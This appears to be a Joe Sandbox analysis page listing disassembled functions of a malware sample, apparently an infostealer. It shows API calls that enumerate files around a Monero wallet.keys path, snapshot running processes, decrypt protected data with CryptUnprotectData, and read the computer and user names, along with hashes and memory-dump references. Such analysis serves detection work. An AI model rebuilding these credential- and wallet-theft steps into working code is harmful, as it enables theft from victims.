Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 38f65ce66ff2f4b0dbaa13298f709fd852eca508e98dfcc8c23b5dc54cfcbbec
Instruction ID: bb2925f1aaaedc4e7b8757d67ff81f43b1412802ba5cca02e914c1e59e9f2c20
Opcode Fuzzy Hash: 38f65ce66ff2f4b0dbaa13298f709fd852eca508e98dfcc8c23b5dc54cfcbbec
Instruction Fuzzy Hash: 25415171994218ABDB24DF94DC99BEEB3B4FF44700F2041D9E509A2291DB342F85DFA1

Function 00B3E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00B50D73), ref: 00B3E4A2
StrCmpCA.SHLWAPI(?,00B514F8), ref: 00B3E4F2
StrCmpCA.SHLWAPI(?,00B514FC), ref: 00B3E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00B3EBDF

Strings

\*.*, xrefs: 00B3E44D

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 185403745773474ca4632321c87cd4a0e68bbb7f575ccecedff568deb8a7154f
Instruction ID: 5a5868f1c16dbac3505cebce5a3ca6e397f56c55fa28f7348610daf8a5cd2a5e
Opcode Fuzzy Hash: 185403745773474ca4632321c87cd4a0e68bbb7f575ccecedff568deb8a7154f
Instruction Fuzzy Hash: AF125272950118AAEB14FB60DC96EED73B8EF54300F4145E9B50AA2191EF306F49DFA2

Function 00B49600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B4961E
Process32First.KERNEL32(00B50ACA,00000128), ref: 00B49632
Process32Next.KERNEL32(00B50ACA,00000128), ref: 00B49647
StrCmpCA.SHLWAPI(?,00000000), ref: 00B4965C
CloseHandle.KERNEL32(00B50ACA), ref: 00B4967A

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: c4238b1ddc88db1874709638a328c1f4c71757afd6d9aa126cfda97f9dabed7c
Instruction ID: a492e146e6a37d039e989b20f4eb5b5b2fb67ab5a0668166d5feea06e9c8ef90
Opcode Fuzzy Hash: c4238b1ddc88db1874709638a328c1f4c71757afd6d9aa126cfda97f9dabed7c
Instruction Fuzzy Hash: 9A010C75A00308ABCB14DFA9CD88BEEBBF8EB48301F1041C8A909D6240E7349B80DF61

Function 00B48680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00B505B7), ref: 00B486CA
Process32First.KERNEL32(?,00000128), ref: 00B486DE
Process32Next.KERNEL32(?,00000128), ref: 00B486F3

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

CloseHandle.KERNEL32(?), ref: 00B48761

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 26d117e42291d61593ad0f663cc62e1b9e0bd67110a019319898630693820d7c
Instruction ID: 1f7a03fceeb61647c894cf41efffe869be53af84c9361454ecc37c42fc6ec0f5
Opcode Fuzzy Hash: 26d117e42291d61593ad0f663cc62e1b9e0bd67110a019319898630693820d7c
Instruction Fuzzy Hash: 7B314D71941218ABDB24EF54DC95FEEB7B8EF45700F1041D9E50AA21A0EB306F45DFA1

Function 00B47A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,014ED9E8,00000000,?,00B50E10,00000000,?,00000000,00000000), ref: 00B47A63
RtlAllocateHeap.NTDLL(00000000), ref: 00B47A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,014ED9E8,00000000,?,00B50E10,00000000,?,00000000,00000000,?), ref: 00B47A7D
wsprintfA.USER32 ref: 00B47AB7

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 3e5f809bef8dda7bba0df458fd1f6d3ff42c51f185f49ccb4a84ea2ca7a317e3
Instruction ID: 4372f9806189588aade2cba7b2704c5c66170d4ee102a6981c5016c39455c839
Opcode Fuzzy Hash: 3e5f809bef8dda7bba0df458fd1f6d3ff42c51f185f49ccb4a84ea2ca7a317e3
Instruction Fuzzy Hash: 801182B1A45618EBEB209B58DC49F59B7B8F744711F1043DAE90A932D0D7741E40CF61

Function 00B39B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B39B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00B39BA3
LocalFree.KERNEL32(?), ref: 00B39BD3

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b0bccf3b1f521d8a9dacb8f5e0dd05bb671274acfac683e22cffec8f100a96a9
Instruction ID: 699c4053aad53489f6d800955537362016e89cb9cba791391721ffe3b6e2d280
Opcode Fuzzy Hash: b0bccf3b1f521d8a9dacb8f5e0dd05bb671274acfac683e22cffec8f100a96a9
Instruction Fuzzy Hash: C511CCB8A00209DFDB04DF98D985AAEB7F9FF88300F104598E91597354E774AE50CF61

Function 00B478E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B47910
RtlAllocateHeap.NTDLL(00000000), ref: 00B47917
GetComputerNameA.KERNEL32(?,00000104), ref: 00B4792F

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 00c8dd52222d65b1971e6e200c99fb9ab5831ec36f65b5f5b2864f73fea816bd
Instruction ID: ecd6ec40a8afcec62cd21cc15c656ba431a1186ea25fde4c2f3dc0809afb185b
Opcode Fuzzy Hash: 00c8dd52222d65b1971e6e200c99fb9ab5831ec36f65b5f5b2864f73fea816bd
Instruction Fuzzy Hash: 310162B1A44204EBC704DF98DD45BAEBBF8F744B11F10429AF945E2380D7745A448BA2

Function 00B47850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B311B7), ref: 00B47880
RtlAllocateHeap.NTDLL(00000000), ref: 00B47887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B4789F

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 422ebb8d8f33d7388f27ad5f4b3967486a2dd6e5b1c89613a3fe7ea226c2512b
Instruction ID: 23cb6f7be6c04ac04c569a897052b4036a74c160758a88f8dcb287803bcc6d44
Opcode Fuzzy Hash: 422ebb8d8f33d7388f27ad5f4b3967486a2dd6e5b1c89613a3fe7ea226c2512b
Instruction Fuzzy Hash: F6F04FB1944208AFC714DF99DD4ABAEBBB8EB44711F10025AFA05E2780D7741944CBA2

Function 00B31160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

